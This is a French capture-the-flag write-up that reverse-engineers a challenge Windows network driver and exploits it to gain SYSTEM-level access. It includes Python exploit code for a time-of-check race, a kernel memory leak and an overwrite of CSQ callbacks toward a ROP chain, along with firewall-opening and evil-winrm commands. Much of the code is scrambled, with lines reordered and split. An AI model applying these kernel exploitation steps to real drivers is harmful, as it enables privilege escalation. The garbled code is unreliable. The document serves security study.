Étape 5 - Whispers in the Shadows
Description
Well done agent! Just one more push!
Thanks to your talent, we've managed to compromise the machine of the organization's presumed leader and installed a backdoor on it.
Unfortunately, his machine has been hardened and our best analysts have been unable to extract anything about his identity. Everything seems to confirm that he keeps his most precious documents in a restricted directory under C:\Users\Administrator.
Nevertheless, we were able to find the history of a conversation he had with the lead developer a few weeks earlier. We've transcribed it for you here:```
EMERALD> We need to strengthen the security of our communications. I know that our detractors are spying on us. What's the status of the S project?
DEV> We're working on it! We've made significant strides in implementing multi-layer encryption and address masking. The core functionality is nearly complete.
EMERALD> That's excellent to hear.
DEV> I've sent you version 1.0 via our secure channel. You are safe to install it on your machine with the instructions provided. Let me know if you encounter any problems.
EMERALD> Great. Once the driver is fully finalized, we'll need to discuss deployment strategies and any potential implications for our organization's infrastructure. Everything must be ready for our next public action...
DEV> Ave viridis crystallum.
EMERALD> Ave viridis crystallum.
We were able to extract the binaries of the project discussed in this conversation. It's all contained in the following archive: EnigmaEnv.zip.
The archive contains:
* netshdw.sys, the mentioned Windows driver
* netshdw.inf, the INF file to install the driver
* netshdw.cat, the CAT file used to install the driver
* ENIGMA.qcow2, a virtual disk of a VM that mimics the target environment for testing purposes (configured with AZERTY layout)
* instructions.md, a few tips from our experts on how to use the supplied environment
We are therefore counting on you to analyze this driver and exploit its potential vulnerabilities in order to increase your privileges on the leader's machine. This should give us access to those juicy classified documents... Who knows what kind of dreadful public action they could be plotting?
Résolution
Dernière vraie étape du challenge, et pas des moindres, il s’agit de compromettre un driver Windows pour élever ses privilèges sur la machine précédente et accéder au dossier C:cette fois.
On nous donne un fichier d’instructions, un driver Windows au format .sys et ses metadata dans un fichier .inf, ainsi qu’une image qcow2 (c’est aussi volumineux qu’à l’étape précédente, principalement à cause de la taille du fichier qcow2 pour lancer le Qemu en charge d’émuler le système Windows (5Go compressé, 13Go une fois extrait), donc pas inclus ici).
Setup
Sûrement l’étape avec le plus de setup préalable pour réaliser l’exploitation dans des conditions acceptables.
Première étape, obtenir un snapshot de l’image dans lequel on a activé les services Windows d’administration à distance, ici RDP et WinRM. Pour cela, on peut faire tout en mode graphique au lancement de l’image avec la commande fournie. Une fois les services activés, on peut réaliser un snapshot avec Qemu et l’instruction savevm
après avoir ouvert le monitor Qemu (Esc+2). Il peut être nécessaire d’autoriser les ports 3389 et 5985 en écoute également :
="Open Port 3389" dir=in action=allow protocol=TCP localport=3389 profile=ALL
netsh advfirewall firewall add rule name="Open Port 5985" dir=in action=allow protocol=TCP localport=5985 profile=ALL netsh advfirewall firewall add rule name
Par la suite, on peut lancer l’ensemble avec la commande suivante (sous MacOS) ; l’option -s indique à qemu d’écouter un gdbserver sur le port 1234 (ou sur un autre port spécifié) et -S d’attendre une connexion de gdb avant d’initialiser l’invité ; l’utilisation de vmnet-shared
permet de réaliser le forward de port attendu de l’invité vers l’hôte :
sudo qemu-system-x86_64 \
\
-smp 6 \
-cpu qemu64,+smep \
-m 8096M \
-device e1000,netdev=net0 \
-nic vmnet-shared \
-netdev vmnet-shared,id=net0 \
-hda ENIGMA.qcow2 \
-serial none -nic hostfwd=tcp::3389-:3389,hostfwd=tcp::5985-:5985 \
-machine type=q35,accel=hvf \
-loadvm ready \
-S -s
NOTE: Il est très fortement conseillé d’activer les accélérations matérielles éventuellement disponibles. A la base je n’avais pas réussi (ni trop cherché) à activer l’accélération matérielle sous MacOS avant d’écrire le write-up, une erreur de plus car le gain de temps est particulièrement significatif (facteur 10 au moins).
Une fois la machine lancée localement, on peut vérifier l’accès à distance local avec evil-winrm
sur Linux ou MacOS :
evil-winrm -i 127.0.0.1 -u Administrator -p Admin123
Cet accès est similaire à la backdoor mise en place pour faciliter l’exécution de commandes sur l’environnement distant (d’ailleurs on aurait pu lancer backdoor.py à la place et forward le port associé plutôt que d’exposer WinRM).
Quoiqu’il en soit, il convient maintenant de faciliter le déploiement et l’exécution de scripts à distance. Windows supporte nativement SSH client depuis l’update 1809 (avec le binaire pré-installé). Plusieurs pistes s’offrent alors :
- Exécuter des commandes
ssh
etscp
depuis une session remote Powershell (via WinRM) ; - Utiliser l’environnement python en place pour installer un agent ;
J’ai choisi un mix des approches, avec un premier dépôt de fichiers python en charge de gérer la partie download/upload via SSH, puis l’exécution (via WinRM) de ces scripts pour exécuter les actions souhaitées.
Les fichiers upload.py
, download.py
et execute.py
réalisent les opérations principales en fonction du contexte dans lequel elles sont appelées (local ou remote). Un couple de clé est générée sur les machines non connues, il faut ensuite autoriser ces clés sur la machine distante et autoriser l’accès SSH à la machine au niveau du port souhaité avec la clé publique indiquée.
Une fois l’environnement en place, on peut lancer le driver avec la commande sc start netshdw
.
Divers / reconnaissance
La fonction NdisRegisterProtocolDriver
est appelée depuis la sous-fonction mappée en 0x140001000, qui initialise :
- 3 fournisseurs cryptographiques via BCryptOpenAlgorithmProvider :
- Fournisseur symétrique AES en mode CBC ;
- Fournisseur asymétrique RSA ;
- Fournisseur d’aléa RNG.
- Un driver de gestion des paquets réseau via NdisRegisterProtocolDriver qui référence plusieurs fonctions du driver ;
- Le driver netshdw lui-même dans la fonction mappée en 0x140001320 :
- Le lien symbolique du driver
\\Global??\\netshdw
; - Les ACLS qui s’appliquent sur le driver :
D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGWGX;;;WD)
(autrement dit pour le public non Windows-SDDL fluent SYSTEM et BUILTINS ADMINS ont un GENERIC_ALL sur l’objet, et l’ensemble des identités (World) a un GENERIC_READ + GENERIC_WRITE + GENERIC_EXECUTE) ; - Le tableau des routines MajorVersion (IRP major function), dans lequel tous les pointeurs sont initialisés à une fonction par défaut qui complète l’IRP via
IofCompleteRequest
sans autre traitement, sauf pour la fonction à l’index 0xe, qui correspond au code d’IRP IRP_MJ_DEVICE_CONTROL. Pour ce type d’événement, la fonction ShdwCtrlDeviceIoCtl mappée à l’adresse 0x140001690 est appelée.
- Le lien symbolique du driver
ReactOS définit cette constante dans un fichier source lié à l’implémentation RDP. Ne cherchons pas plus loin, au moins c’est défini quelque part …
On est fixés sur les interactions qu’on va pouvoir avoir avec le driver : tout se passera depuis la fonction principale ShdwCtrlDeviceIoCtl
.
Le driver n’est pas obfusqué mais reste sans symboles, il va quand même falloir reconstruire les fonctions et les structures à la main. La présence de chaînes utilisées pour le logging accélère quand même le processus de nommage des différentes fonctions.
Parmi les imports du driver, on trouve notamment des fonctions relatives à Ndis et Csq, aux traitements des IRP, et aux fonctions cryptographiques offertes par l’API BCRYPT côté kernel. Je ne connaissais pas la majorité de ces fonctions auparavant.
Pour les appels NDIS (Network Driver Interface Specification) :
- NdisAllocateMdl
- NdisAllocateMemoryWithTag
- NdisAllocateNetBufferAndNetBufferList
- NdisAllocateNetBufferListPool
- NdisFreeMdl
- NdisFreeMemory
- NdisFreeNetBufferList
- NdisFreeNetBufferListPool
- NdisGetDataBuffer
- NdisInitializeEvent
- NdisOidRequest
- NdisOpenAdapterEx
- NdisRegisterProtocolDriver
- NdisResetEvent
- NdisReturnNetBufferLists
- NdisSendNetBufferLists
- NdisSetEvent
- NdisWaitEvent
Pour les CSQ (Cancel-Safe IRP Queues) :
- IoCsqRemoveNextIrp
- IoCsqInsertIrp
- IoCsqInitialize
Pour les fonctions de l’API BCRYPT :
- BCryptCloseAlgorithmProvider
- BCryptDecrypt
- BCryptDestroyKey
- BCryptEncrypt
- BCryptExportKey
- BCryptFinalizeKeyPair
- BCryptGenRandom
- BCryptGenerateKeyPair
- BCryptGenerateSymmetricKey
- BCryptImportKeyPair
- BCryptOpenAlgorithmProvider
- BCryptSetProperty
Le reste des imports est assez commun et ne présente pas d’intérêt particulier pour une meilleure compréhension du driver. En tout cas, même si l’utilisation de NDIS reste à ce moment assez mystérieuse, et ne connaissant pas encore l’objet CSQ, on peut voir l’utilisation de fonctions cryptographiques qui semblent indiquer que les données qu’on va envoyer vont être chiffrées et déchiffrées.
Le moment de mettre ses mains dans le cambouis
Intéressons nous maintenant à la fonction ShdwCtrlDeviceIoCtl en charge de la gestion des interruptions de type IRP_MJ_DEVICE_CONTROL.
Cette fonction n’est pas très grande et réalise une disjonction de l’IOCTL passé sur 4 valeurs :
- 0x12600e :
- contrôle la taille du buffer d’entrée (doit être égale à 0xc), et la taille du buffer de sortie (comprise entre 9 et 0x1008 inclus) ;
- appelle la fonction ShdwRcvIRPHandler ;
- 0x12a001 :
- contrôle la taille du buffer de sortie uniquement (doit être égale à 0xc) ;
- appelle la fonction ShdwCtrlOpenLocalPort ;
- 0x12a005 :
- contrôle la taille du buffer de sortie uniquement (doit être égale à 8) ;
- appelle la fonction ShdwCtrlCloseLocalPort ;
- 0x12a009 :
- contrôle la taille du buffer de sortie uniquement (doit être supérieure à 0x18, et correspondre à un champ (int32) provenant des données de l’utilisateur auquel on aurait ajouté la taille d’un en-tête de 0x18) ;
- appelle la fonction ShdwSndIRPHandler ;
Petit détail qui aura son importance par la suite, les 3 dispatcher pour 0x12a… utilisent en pratique la fonction MmMapLockedPagesSpecifyCache pour obtenir les données en provenance de l’utilisateur.
Analysons chacune de ces fonctions par ordre de complexité.
ShdwCtrlCloseLocalPort

Assurément la plus simple des fonctions à analyser. Cette fonction acquiert un verrou, tente de localiser une structure localport
, si la structure est localisée à partir des données fournies par l’utilisateur, alors il y a une suppression de l’élément qui est réalisée au sein d’une liste chaînée, qui est assortie d’une décrémentation d’un compteur de référence sur l’élément en question menant à la destruction du localport
si l’élément n’est plus référencé. Auparavant, il existe une vérification d’un champ qui peut ressembler à un type. Si ce type & 3 ne vaut pas 0, alors un paquet est envoyé sur le “réseau” via NdisSendNetBufferLists
.
La destruction de l’objet dans la fonction nommée destroyLocalPort
effectue des opérations conditionnelles de destructions de contextes cryptographiques (clés), de libération de mémoire, et de nettoyage de listes chaînées. C’est une fonction très utile pour comprendre un peu mieux la structure de cet objet localport
.
ShdwCtrlOpenLocalPort

De manière symétrique à l’opération précédente, l’ouverture d’un port effectue toutes les opérations relatives à l’initialisation d’un objet localport
si ce dernier n’est pas déjà présent dans une liste chaînée. Ainsi, les 8 premiers octets des buffers passés en argument des ioctl de ShdwCtrlOpenLocalPort et ShdwCtrlCloseLocalPort constituent l’identifiant d’un localport.
Si l’identifiant n’existe pas, alors le localport est créé (allocation d’un buffer de taille 0x10C0), et rempli en fonction d’un deuxième champ qui dépend des données utilisateur (4 derniers octets des 0xc octets autorisés) : le champ de type.
La disjonction des cas semble s’effectuer de la manière suivante :
- type & 2 == 2 : le localport est un port de réception. Dans ce cas, il initialise une queue Cancel-Safe, une liste chaînée, un verrou pour l’accès à cette liste, fait pointer deux de ses attributs vers eux-mêmes (pourquoi?), et réinitialise à 0 un buffer de taille 0x1000 ;
- type & 4 == 4 : le localport est un port d’envoi. Dans ce cas, il initialise une liste chaînée et un verrou pour l’accès à cette liste.
- autre : rien de spécial n’est alloué
Un point très important est qu’il est a priori impossible de créer un localport de type 6, qui soit à la fois en émission et en réception (une condition en début de fonction retourne un code d’erreur si c’est le type qui est présenté).
Dans tous les cas, une clé RSA est générée, et la clé publique associée est exportée dans un attribut de la structure globale. D’autres attributs comme le PID du processus courant, un compteur de référence initialisé à 0 ou le type sont également stockés dans la structure.
Finalement, la liste chaînée principale modifiée lors de l’opération de fermeture d’un localport est modifiée pour ajouter l’élément qui vient d’être créé (un compteur de référence porté par l’élément lui-même est incrémenté). Si le type du localport & 3 != 0, alors la clé publique du port est manipulée et un paquet “réseau” est émis via NdisSendNetBufferLists
de manière symétrique à l’opération de fermeture du port.
ShdwSndIRPHandler

Un peu plus complexe, cette fonction nécessite la fourniture d’une entrée un peu plus étoffée qu’un identifiant :

Ainsi, le champ sizeData
de la structure est celui qui était comparé à la taille totale dans la fonction de dispatch précédente (après ajout de la taille de l’en-tête).
La fonction vérifie tout d’abord que le localport d’identifiant localPortID
existe et est un port d’envoi (type & 4 != 0).
Ensuite, en fonction du champ typeOperation fourni :
- si le type d’opération demandé est 2 : append : les données sont ajoutées “en cache” dans la liste chaînée des buffers initialisée précédemment et associant un remotePortID à des données en cours d’envoi vers ce port ; si le remotePortID n’est pas encore présent dans la liste des destinataires depuis le localport, alors un nouveau buffer est alloué et inséré dans la liste chaînée ; sinon si le buffer vers remotePortID est déjà existant, les données fournies par l’utilisateur sont ajoutées au buffer, dans la limite d’une taille de 0x4000 (et après réallocation de la taille nécessaire) ;
- si le type d’opération demandé est 4 : append & flush : comme pour l’opération 2, les données sont ajoutées dans le bon cache en fonction de la valeur de remotePortID, avec la même fonction. S’en suit dans le cas présent l’envoi des données dans le cache associé à remotePortID, la fonction d’envoi est complexe car elle fait intervenir du chiffrement et sera détaillée plus tard ; finalement le cache est supprimé pour remotePortID puisque les données sont considérées comme envoyées vers ce port ;
- sinon : send : les données de l’utilisateur sont transmises directement au remotePortID indiqué, sans être accumulées ou cachées ; via cette méthode on ne peut donc pas envoyer plus de 0x1000 octets à la fois vers notre destination (limitation de la taille du buffer d’entrée fourni par l’utilisateur).
ShdwRcvIRPHandler
De manière symétrique à ShdwSndIRPHandler, la fonction ShdwRcvIRPHandler qui attend un identifiant de port local en entrée vérifie d’abord si le port existe et si c’est un port de réception, sinon ne fait rien.
La fonction vérifie tout d’abord s’il existe des données à lire sur le localport résolu en comparant un attribut du port à 0 :
- Si des données sont disponibles, alors des données en provenance du premier buffer de la liste chaînée des buffers initialisée lors de l’ouverture du port sont lues et copiées vers le buffer de l’utilisateur dans la limite des données disponibles ou de la taille requise par l’utilisateur. Ensuite, soit l’utilisateur n’a pas spécifié de consommer les données (la taille du buffer d’entrée doit être égale à 0xc = 0x8 pour l’identifiant du port puis 0x4 pour la spécification de la consommation (&1 == 0) ou non des données), soit les données sont consommées, et le premier buffer partiellement ou complètement vidé (dans ce cas également libéré et supprimé de la liste chaînée des buffers). Le grand buffer de 0x1000 à l’intérieur de la structure du localport est alors mis à jour en fonction des données restantes et des données des autres buffers de la liste.
- Si aucune donnée n’est disponible, alors la fonction IoCsqInsertIrp est appelée avec comme paramètre l’IRP initial ayant déclenché l’opération de lecture (dans la limite de 10). Un code de statut STATUS_PENDING (0x103) est alors retourné. On peut noter que sans spécifier de paramètre complémentaire, la fonction DeviceIoControl bloque tant que l’IRP n’est pas completed.
Un schéma récapitulatif pour tout ça
A ce stade, on a une description à peu près complète d’un localport
:

Plus précisément, voici la structure des listes chaînées de buffers pour un port local de réception :

Voici le même schéma pour un port local d’envoi :

Un autre recv
En réalité, ce qui est décrit plus haut suffit pour résoudre l’étape. Mais comme “tout” a été reverse-engineered, autant décrire le driver dans son intégralité.
Malgré avoir compris “assez rapidement” (à mon échelle) l’objectif de l’épreuve, les tests effectués pour confirmer la vulnérabilité initialement prévue ont été mal réalisés (cf. post-mortem). En conséquence, 4 jours complémentaires ont été pris pour finaliser une compréhension presque totale des interactions du driver (sans que cela soit réellement utile, même si l’ensemble est assez intéressant à étudier).
Nous avons parlé plus haut de l’utilisation des fonctions NDIS, qui ne sont que peu utilisées dans les 4 fonctions de dispatch des DeviceIoControl, mis à part pour envoyer des données : mais où sont donc traitées ces données et comment ?
Il existe en fait une autre fonction de réception de données, la fonction mappée à l’adresse 0x140003f90, et paramétrée dans l’objet passé en argument à la fonction NdisRegisterProtocolDriver lors de l’initialisation du driver.
Cette fonction est atteinte à chaque nouveau paquet envoyé via les fonctions de NDIS notamment appelées dans les fonctions d’envoi de données et d’envoi de clés publiques lors de la création des ports locaux. Après avoir vérifié que les données suivent un format correct (constante 0xdead et taille inférieure à 0x5e0), un(e?) WORKITEM est créée et ajoutée aux traitements à effectuer, cela appelle la fonction suivante (nommée receiveKeyBlob_ShdwPtDispatchPacket) :

Cette fonction est globalement assez complexe et on ne comprend pas tout de suite sont intérêt. En effet, selon le type de donnée qu’elle reçoit et qu’elle décapsule, plusieurs comportements peuvent être observés :
- Réception d’un paquet de type 0xc0de : des opérations de déchiffrement sont appliquées puis :
- si le paquet déchiffré est de type 0xc0c0, alors le contenu du paquet (uniquement le message) est renvoyé via un appel NDIS ;
- si le paquet déchiffré est de type 0xffff, alors le paquet est transmis à une fonction qui se charge de remplir les buffers de réception du localport qu’il ciblait, si celui-ci est un port de type réception ;
- sinon le paquet est ignoré ;
- Réception d’un paquet de type 0xcafe : dans ce cas il s’agit d’un paquet lié à l’émission d’un nouveau ou la suppression d’un localport existant (cf. plus haut). Cela se traduit par l’ajout ou la suppression d’une structure de type remoteport. Cette structure remplit un office symétrique, elle enregistre notamment le lien entre portID et la clé publique RSA qui est transmise dans le paquet de création. Il existe également une liste chaînée globale de tous les remoteport déclarés.

Cette structure est également utilisée par la fonction ShdwSndIRPHandler au moment de l’envoi des données. Dans la fonction complexe qui se charge de l’envoi, au départ je ne comprenais pas pourquoi il y avait des nombres aléatoires générés qui désignaient des remote ports successifs, et une taille des données découpées qui variait, mais finalement à la lumière de ce qui est décrit au-dessus, on se rend compte qu’il s’agit d’une simulation de protocole de transport distribué à la Tor, en couches :
- On choisit un nombre d’itérations X entre 0 et 5, cela définit la taille du message qu’on va envoyer ;
- On choisit successivement X remoteport aléatoirement et on récupère leur clé RSA publique ;
- A chaque tour de boucle :
- On génère une clé AES aléatoire qu’on chiffre avec la clé publique du remoteport qu’on cible ;
- On chiffre le message précédent (soit le message en clair avec une structure qui indique que c’est un message en clair, soit un message chiffré par le même procédé le tour précédent) et on l’encapsule dans une structure qui indique c’est un message chiffré ;
- Lorsqu’on a épuisé le nombre d’itérations, on envoie le paquet final bien enrobé dans la fonction d’envoi de paquets ;
- On répète l’opération pour chaque bout de message à envoyer tant qu’il en reste.
Ce qu’on observe dans la fonction de réception est donc le processus qui réalise les opérations inverses. La différence est que ce processus est fait une étape à la fois : à chaque étape, si un paquet chiffré est identifié en sortie du déchiffrement symétrique, ce dernier est renvoyé immédiatement avec un NdisSendNetBufferLists.
Chaque étape est vérifiée, y compris à la fin quand il s’agit de traiter le paquet .
Et parce que le schéma est trop long et ne présente que peu d’intérêt pour la résolution, je ne mets ici qu’une photo des interactions globales entre chacun des composants :

Back à nos moutons - run boy run
J’ai beaucoup joué avec les petites incohérences qu’on trouve tout au long du chemin :
- Utilisation non homogène de RtlCompareMemory à la place d’une comparaison d’entiers sur 8 bytes lors de certaines opérations de comparaison pour trouver un localport ou un remoteport ;
- Présence de comparaisons avec le type & 3, comportements particuliers mais non gérés par rapport au premier bit du type des localports ;
- Tentatives de forcer les réceptions de paquets par des localport de type autre que 2 (réception) ;
- Vérification des décrémentations des compteurs de référence et des éventuelles double décrémentation / race condition pour générer des doubles libérations.
Malheureusement tout cela s’est soldé par des échecs. Pourtant, le challenge entier crie qu’il faut trouver un moyen de réaliser à la fois le comportement de la réception et de l’envoi en même temps. Cependant, la complexité placée dans l’implémentation du protocole de transport en oignon porte à croire qu’il y a une erreur d’implémentation crypto ou protocolaire qui va permettre de faire passer un paquet pour un autre ou de remplir le mauvais buffer.
La solution (expected j’imagine) consiste bien en l’identification d’une race condition permettant d’obtenir un localport à la fois récepteur et émetteur (type = 6, pourtant interdit lors de la création d’un localport).
Cela provient de l’absence de contrôle et de copie des données en provenance de l’utilisateur entre le temps de vérication (Time Of Check) et le temps d’usage et d’inscription du champ Type dans la structure localport (Time Of Use).
NOTE: Au départ j’avais bien relevé l’incohérence des buffers d’entrée et de sortie pour les IOCTL des opérations d’ouverture, de fermeture et d’envoi de données. Mais j’avais cru à une erreur et étais passé outre. De plus, quand j’ai retesté cette piste, j’ai pensé que la fonction MmMapLockedPagesSpecifyCache créait un nouvel espace mémoire alors qu’a priori il s’agit d’un mapping commun vers la même page physique que celle manipulée côté userland.

En théorie la fenêtre pour exploiter le défaut peut sembler assez courte, et on pourrait envisager de grossir artificiellement la liste chaînée des localports pour augmenter le temps de recherche. En pratique, ça n’est pas la peine et les quelques lignes suivantes suffisent à gagner la course très rapidement :
= False
finished
def alternate():
= p64(0x1122334455667788) + p32(2)
base_data 0xc] = base_data
big_buf[: while not finished:
for i in range(0x1000):
# alternate between a recv port for creation condition to success, and a type 6 forbidden at creation
8] = 2
big_buf[8] = 6
big_buf[
= Thread(target=alternate)
t
t.start()
# populate some data (this will be sent to start filling a buffer)
= b'yess'
data = p64(0x1122334455667788) + p64(0x1122334455667788) + p32(4) + p16(len(data)) + data
inbuf 0x10: 0x10+len(inbuf)] = inbuf
big_buf[
while not finished:
= kernel32.DeviceIoControl(driver_handle, 0x12a001, None, 0, big_mem, 0xc,
out None)
byref(nbytes_returned), if out != 0: # success so at least wt have a port open with mode 2
= kernel32.DeviceIoControl(driver_handle, 0x12a009, None, 0, big_mem + 0x10, 0x18 + len(data),
out None)
byref(nbytes_returned), if out != 0: # success so we know we have a port also open with mode 4
= True
finished else: # otherwise attempt fail, DON'T FORGET TO close the port before retrying the race ...........
= kernel32.DeviceIoControl(driver_handle, 0x12a005, None, 0, big_mem, 0x8,
out None)
byref(nbytes_returned), 0.05) time.sleep(
Il faut bien penser à fermer le port quand la première ouverture de port réussit mais que le test suivant échoue (sinon on ne peut plus réutiliser le port et tous les tests ultérieurs sont voués à l’échec) !
Une fois la course gagnée, tout n’est pas terminé pour autant : certes on a un port en réception et en émission, mais encore faut-il comprendre comment sont gérés les buffers d’envoi et de réception pour pouvoir espérer en tirer en profit.
On exploite alors une sorte de confusion de type entre un buffer, ou plutôt le fait que la taille des données d’un buffer d’envoi autorisée est plus grande que la taille maximum d’un buffer de réception.
NOTE: on aurait aussi pu exploiter la vraie confusion de type avec l’offset dans le buffer de réception qui correspond directement à des données contrôlées par l’utilisateur dans le buffer d’envoi. Mais c’était plus simple en manipulant uniquement la taille.

Un peu de gymnastique
Parce qu’un schéma vaut mille mots (et maux lors du dessin), l’effet imagé des opérations suivantes est fourni plus bas :
- recv : vide le premier buffer de la liste de réception et met à jours le buffer de données du localport (1) ;
- send et 2 / append : ajoute des données (max size = 0x4000) au buffer de la liste d’envoi du localport pointé par le remotePortID choisi (2), si il existe ;
- send et 4 / append & flush + send : ajoute les données (max size = 0x4000) au buffer de la liste d’envoi du localport pointé par le remotePortID choisi (si il existe) puis envoie les données, provoquant le “remplissage” du buffer “localPortID” du localport remotePortID ciblé une fois les paquets réseau reçus et traités (3) ;
- send et 8 / send : envoie des données en direct au remoteport pointé (max 0x1000), provoque le “remplissage” du buffer “localPortID” du remotePortID ciblé une fois les paquets réseau reçus et traités (4).
- : Initialement, le localport 0x1122334455667788 a reçu des données en provenance de deux ports : 0xaaaaaaaaaaaaaaaa (Size1 données) et 0xbbbbbbbbbbbbbbbb (Size2 données). Ces données ont été copiées dans le buffer de données du localport et la taille des données qui peuvent être lues est de Size1 + Size2 :

- : On lit (plus de) Size1 données (soit plus que le contenu du premier élément de la liste chaînée). Ce dernier est vidé et libéré de la liste chaînée de réception qui est mise à jour. Tous les autres éléments de la liste sont mis à jour vis-à-vis de l’offset, et le contenu est recopié dans le buffer de données du localport. Un buffer contenant les données libérées et leur émetteur 0xaaaaaaaaaaaaaaaa est retourné à l’utilisateur :

NOTE : Il est important de noter que les données réécrite dans le buffer de données du localport ne proviennent PAS des buffers de réception mais d’une copie des données du buffer de données à l’offset indiqué dans les unités de la liste chaînée (copie de la taille également indiquée dans ces unités).
- : Initialement, le localport 0x1122334455667788 contient deux unités en cours de traitement vers les remoteport 0xaaaaaaaaaaaaaaaa et 0xbbbbbbbbbbbbbbbb :

- : Avec l’opcode 2 (append), le buffer de données envoyé par l’utilisateur est ajouté (dans la limite d’une taille de 0x4000) aux données de l’unité de traitement d’envoi associée au port remotePortID 0xbbbbbbbbbbbbbbbb :

- : Même situation initiale que précédemment. Cette fois, l’opcode 4 provoque, en plus de l’ajout à l’unité de traitement d’envoi comme le cas (2), le flush de l’unité et son envoi à la destination pointée par le remotePortID 0xbbbbbbbbbbbbbbbb. Ce dernier reçoit le paquet et l’ajoute dans l’unité de traitement de réception de la liste chaînée correspondant au localport à l’origine de l’envoi, ou en créé un si non existant. On tronque les données du paquet reçu de telle sorte qu’on ne dépasse jamais les 0x1000 octets alloués au buffer de données du localport. Ainsi, les données reçues sont écrites dans le buffer de données du localport à l’offset indiqué par NReadable, ne dépassent jamais de la structure allouée.

- : Avec une opération send de type autre que 2 ou 4, la situation est quasiment identique, sauf qu’on n’agit sur aucun buffer du localport d’émission : les données sont envoyées directement sur le réseau, reçues et traitées par le localport cible.
Après avoir modélisé l’effet de chaque primitive de stockage dans les buffers côté envoi de données, et les interactions entre la liste de buffer et le buffer de données reçues dans le localport, on peut maintenant passer à l’exploitation finale.
Avec un localport de type 6, voici ce qui se passe quand on crée un buffer d’envoi de taille 0x2000, et qu’on lit deux fois 0x1000 sur le même localport :

Il faut au préalable avoir envoyé des données avec un send 4 ou 8 pour avoir provoqué la réception de données par le localport ciblé et avoir NReadable > 0 (sinon aucune donnée n’est lue). Quoiqu’il en soit, lorsque la situation ci-dessus est obtenue, lire un premier bloc de 0x1000 octets à l’effet suivant :
- Lecture de la taille de l’unité de traitement (0x2000 ici), prendre le minimum de cette taille et de la taille du buffer utilisateur alloué pour recevoir les données (de taille max 0x1000) : donc 0x1000
- Copier donc 0x1000 octets du buffer du localport dans le buffer utilisateur ;
- En cas de consommation des données (ce qui est le cas ici), mettre à jour le compteur des données lues : la taille de l’unité de traitement est réduite de la taille des données lues : 0x2000 - 0x1000 = 0x1000 ;
- L’offset de l’unité de traitement courante est quant à lui augmenté du nombre d’octets lus, donc 0x1000 ;
- Finalement on met à jour le buffer de données du localport en parcourant toutes les unités de traitement de réception en prenant en compte la taille et l’offset de chaque unité :
localport.buffer[curOffset: curOffset+unite.size] = localport.buffer[unite.offset: unite.offset+unite.size]
. Ici on a une seule unité et on démarre à curOffset = 0 donc on réalise une copie des 0x1000 bytes à l’offset 0x1000 du buffer de données du localport à l’offset 0 du même buffer.
On a donc une belle situation de fuite d’information : les callbacks CSQ et l’attribut “itself” se retrouvent dans le buffer de données du localport :

A la lecture de 0x1000 octets suivante, on obtient notre leakinfo. L’attribut itself permet de localiser la structure du localport en mémoire ce qui sera très pratique pour la suite. De plus, en décrémentant la taille de l’unité de réception de 0x1000 à nouveau, celle-ci devient nulle, et l’unité est libérée, on se retrouve dans la situation initiale (uniquement un localport alloué).
0x1122334455667788, 0x1122334455667788, 2, b'a'*(0x2000-4))
sendRemote(= recvRemote(0x1122334455667788, size=0x1000) # we cannot read more than 0x1000 bytes with recv function
_ = recvRemote(0x1122334455667788, size=0x1000) # as we faked a buffer of size 0x2000, we can still read 0x1000 beyond end of buffer leak
Avec ce leak, on est en mesure de localiser notre structure en mémoire, ce qui va nous permettre d’écrire une ropchain à une adresse connue dans l’espace des 0x1000 octets du buffer de données de la structure.
On va également être en mesure d’écrire des données après le buffer de données (écrasant les callbacks CSQ) de la manière suivante :
- Envoi “légitime” des morceaux de notre payload final directement au localport ciblé (send avec type 8) ;
- Une fois les données écrites, on les “fixe” en lisant tout le buffer, ce qui a pour effet de supprimer l’unité de réception qui existait et de rendre à nouveau possible l’envoi de données au localport ;
- On réalise un petit envoi pour recréer une unité de réception minimale ;
- On augmente artificiellement la taille de l’unité avec notre confusion de type et notre port de type 6 (send avec type 2) avec une taille qui permet d’atteindre l’offset 0x1000, cela ne touche pas NReadable et on pourra encore envoyer des données au localport ;
- On réécrit un nombre limité de données (0x100 octets) avec la partie de notre charge qui va écraser les pointeurs CSQ sans altérer (du moins uniquement les 0x100 premiers octets au maximum) le reste du payload qu’on a écrit dans le buffer de données principal. Pour cela, il suffit maintenant d’envoyer un send de type 8 et de taille limitée : la taille de l’unité va passer de 0x1000 à 0x1100, avec 0x100 octets écrits à l’offset 0x1000 du buffer principal, écrasant le contenu de la structure CSQ ;
- Il faut ensuite vider les unités de réception pour provoquer le bon call CSQ (cf. plus bas), pour cela il faut tout d’abord lire la plus grosse quantité de données possible (donc ici 0x1000), afin de ne pas réécrire notre payload plus bas lors du décalage des données qui survient après une consommation de données. En lisant 0x1000, vu que la taille totale de l’unité est de 0x1100, seuls 0x100 octets sont réécris ce qui n’est pas gênant ;
- On termine avec une dernière lecture de 0x100 qui n’a aucun effet autre que de vider la liste chaînée des unités de réception ;
- Au final, lorsqu’on appelle une lecture “vide”, cela déclenche l’appel à la fonction IoCsqInsertIrp que l’on cherche (cf. plus bas).

Une fois les callbacks CSQ réécris, on termine en remettant la structure dans un état “propre” :

La prochaine lecture sur ce localport va déclencher le callback CsqInsertIRP réécrit précédemment, car plus aucune donnée n’est accessible (NReadable = 0).
On ponctue par quelques sleep pour éviter les erreurs de réassemblage de paquets (pas forcément réçus dans l’ordre), ce qui donne le workflow suivant :
0x4444444444444444, 4)
createLocal(# ensure packets are received in the same order as emitted, so cut it manually and sleep in-between
for i in range(0, 0x1000, 0x300):
0x4444444444444444, 0x1122334455667788, 8, payload[:0x1000][i: i+0x300])
sendRemote(1)
time.sleep(
# we fix our payload in the data buffer of the local port
= recvRemote(0x1122334455667788, size=0x1000)
_
# recreate a buffer, complete up to 0x1000 but it's fake (it won't rewrite data in the data buffer of the local port and erase what we just put)
0x1122334455667788, 0x1122334455667788, 4, b'x'*0x10)
sendRemote(1) # wait for data being received and recv unit created
time.sleep(0x1122334455667788, 0x1122334455667788, 2, payload[:0x1000-0x10])
sendRemote(# send remaining directly, this will erase callbacks with our payload as the written offset un recv unit is now 0x1000 but the NReadable is kept to 0x10 (we used the type confusion to set the offset to 0x1000 without taking the recv path updating NReadable)
0x1122334455667788, 0x1122334455667788, 8, payload[0x1000:0x1100])
sendRemote(
# empty the buffers from 0x1122334455667788 for itself, next recv will trigger all manipulated callbacks
= recvRemote(0x1122334455667788, size=0x1000)
out = recvRemote(0x1122334455667788, size=0x100)
out
# BOOM
= recvRemote(0x1122334455667788, size=0x137) out
CSQ patterns
